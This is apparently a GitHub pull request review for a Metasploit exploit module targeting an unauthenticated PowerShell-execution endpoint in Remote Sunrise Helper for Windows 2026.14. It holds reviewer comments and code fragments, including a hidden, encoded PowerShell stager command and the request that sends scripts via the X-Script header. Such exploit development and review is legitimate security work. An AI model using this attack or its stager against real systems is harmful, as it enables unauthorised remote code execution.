Add Remote Sunrise Helper for Windows 2026.14 unauthenticated RCE#21336
Add Remote Sunrise Helper for Windows 2026.14 unauthenticated RCE#21336blue0x1 wants to merge 6 commits intorapid7:masterfrom
Conversation
|
Can you share the output of the exploit to demonstrate that you've tested it? |
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
There was a problem hiding this comment.
Pull request overview
Adds a new Metasploit exploit module targeting an unauthenticated RCE in “Remote Sunrise Helper for Windows 2026.14” via the /api/executeScript endpoint when requires.auth is disabled.
Changes:
- Introduces a new HTTP(S)-based exploit module with
checklogic using/api/getVersion. - Implements exploitation via PowerShell delivered in the
X-Scriptheader with multiple targets (direct PowerShell reverse shell + intended Meterpreter stagers).
| def build_psh_stager | ||
| encoded = Rex::Text.encode_base64(Rex::Text.to_unicode(payload.encoded)) | ||
| "powershell -NoP -NonI -W Hidden -Exec Bypass -Enc #{encoded}" | ||
| end |
There was a problem hiding this comment.
For the :psh_stager targets, build_psh_stager is Base64-encoding payload.encoded directly and passing it to powershell -Enc. For meterpreter payloads, payload.encoded is raw shellcode bytes, not PowerShell source, so this will not execute as intended. Use the standard PowerShell helpers (e.g., include Msf::Exploit::Powershell and generate a proper PowerShell stager/command for the selected payload/arch) rather than encoding the raw payload bytes as if it were script text.
| def send_version_request | ||
| send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), | ||
| 'ssl' => datastore['SSL'], | ||
| 'headers' => api_headers | ||
| ) | ||
| rescue Rex::ConnectionError, Rex::ConnectionTimeout | ||
| nil | ||
| end |
There was a problem hiding this comment.
send_version_request rescues only Rex::ConnectionError and Rex::ConnectionTimeout. Other common connection exceptions raised by HTTP requests in this codebase (e.g. Rex::ConnectionRefused / Rex::HostUnreachable) are not handled here and can bubble up as unhandled exceptions during check/exploit. Consider rescuing the same connection exception set used by other HttpClient modules.
| def send_script_request(script) | ||
| send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), | ||
| 'ssl' => datastore['SSL'], | ||
| 'headers' => api_headers.merge('X-Script' => script), | ||
| 'timeout' => 10 | ||
| ) | ||
| rescue Rex::ConnectionError, Rex::ConnectionTimeout | ||
| nil | ||
| end |
There was a problem hiding this comment.
send_script_request has the same narrow connection exception handling as send_version_request. If send_request_cgi raises Rex::ConnectionRefused / Rex::HostUnreachable (common for unreachable services), this method will raise instead of returning nil, which can cause unexpected module crashes.
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote |
There was a problem hiding this comment.
This PR adds a new exploit module but does not add the corresponding module documentation markdown under documentation/modules/exploit/windows/misc/remote_sunrise_helper_rce.md. The repo’s documentation guidelines and PR template expect new modules to include a matching documentation file so users can see verification steps, options, and scenarios via info -d.
smcintyre-r7
left a comment
There was a problem hiding this comment.
This needs docs and some proof that it's been tested.
There was a problem hiding this comment.
You can remove this line too. It's calculated automatically now based on all the targets. It also means that after you've removed the other targets, you won't need to keep it synced.
There was a problem hiding this comment.
Alot of payloads can be selected here so don't call the target the default payload.
| 'Automatic', |
There was a problem hiding this comment.
You shouldn't suggest a default payload. If you want to note what it's been tested with, do it with a comment. The exploit needs to work with all payloads that can be selected based on this metadata. If it can't then there's an issue somewhere that needs to be fixed.
There was a problem hiding this comment.
Use this instead and don't register a new option: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/auto_check.rb#L4
There was a problem hiding this comment.
Once the other targets have been removed, this is simplified.
| send_script(payload.encoded) |
There was a problem hiding this comment.
This will all be handled by the auto check mixin but you need to move the extra logic into the check method. The check method needs to return detected/vulnerable/appears for execution to continue.
There was a problem hiding this comment.
The datastore's SSL option is already used automatically so you don't need to send that. As for the timeout, let the user configure that as well. #send_request_cgi won't raise these errors, so you don't need to rescue them.
| def send_script_request(script) | |
| send_request_cgi( | |
| 'method' => 'POST', | |
| 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), | |
| 'headers' => api_headers.merge('X-Script' => script) | |
| ) | |
| end |
There was a problem hiding this comment.
| def send_version_request | |
| send_request_cgi( | |
| 'method' => 'GET', | |
| 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), | |
| 'headers' => api_headers | |
| ) | |
| end |
| 'Name' => 'Remote Sunrise Helper for Windows 2026.14 - Unauthenticated RCE', | ||
| 'Description' => %q{ | ||
| Remote Sunrise Helper for Windows 2026.14 exposes an unauthenticated HTTP API | ||
| on a dynamically assigned HTTPS port. When `requires.auth` returned by | ||
| /api/getVersion is false, the /api/executeScript endpoint executes arbitrary | ||
| PowerShell via the X-Script header with no authentication required. |
There was a problem hiding this comment.
This PR adds a new exploit module, but there is no corresponding documentation markdown under documentation/modules/exploit/windows/misc/remote_sunrise_helper_rce.md (the repo’s docs use the documentation/modules/exploit/... path for exploit modules). Please add the module documentation so info -d users get usage/verification notes.
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [ARTIFACTS_ON_DISK] |
There was a problem hiding this comment.
SideEffects is set to ARTIFACTS_ON_DISK, but this module only sends PowerShell for execution and does not appear to drop files itself. If execution is intended to be in-memory for all targets, consider removing ARTIFACTS_ON_DISK (or updating it to the appropriate side effect, such as logs/network indicators) to keep module metadata accurate.
| 'SideEffects' => [ARTIFACTS_ON_DISK] | |
| 'SideEffects' => [] |
There was a problem hiding this comment.
You can remove all of this. It's an old pattern from back before payload adapters were a thing. Now users can select the cmd/windows/powershell/x64/meterpreter/reverse_tcp payload directly.
Summary
This adds a new exploit module for an unauthenticated remote code execution vulnerability
in Remote Sunrise Helper for Windows 2026.14.
The application exposes an HTTP API on a dynamically assigned HTTPS port. When authentication
is disabled (
requires.auth: false), the/api/executeScriptendpoint executes arbitraryPowerShell passed via the
X-Scriptrequest header with no credentials required.Vulnerability Details
Module Details
/api/getVersionto confirm auth is disabled before exploitingcmd/windows/powershell_reverse_tcp)Verification
Tested on Windows 10 (10.0.19043) and Windows 11.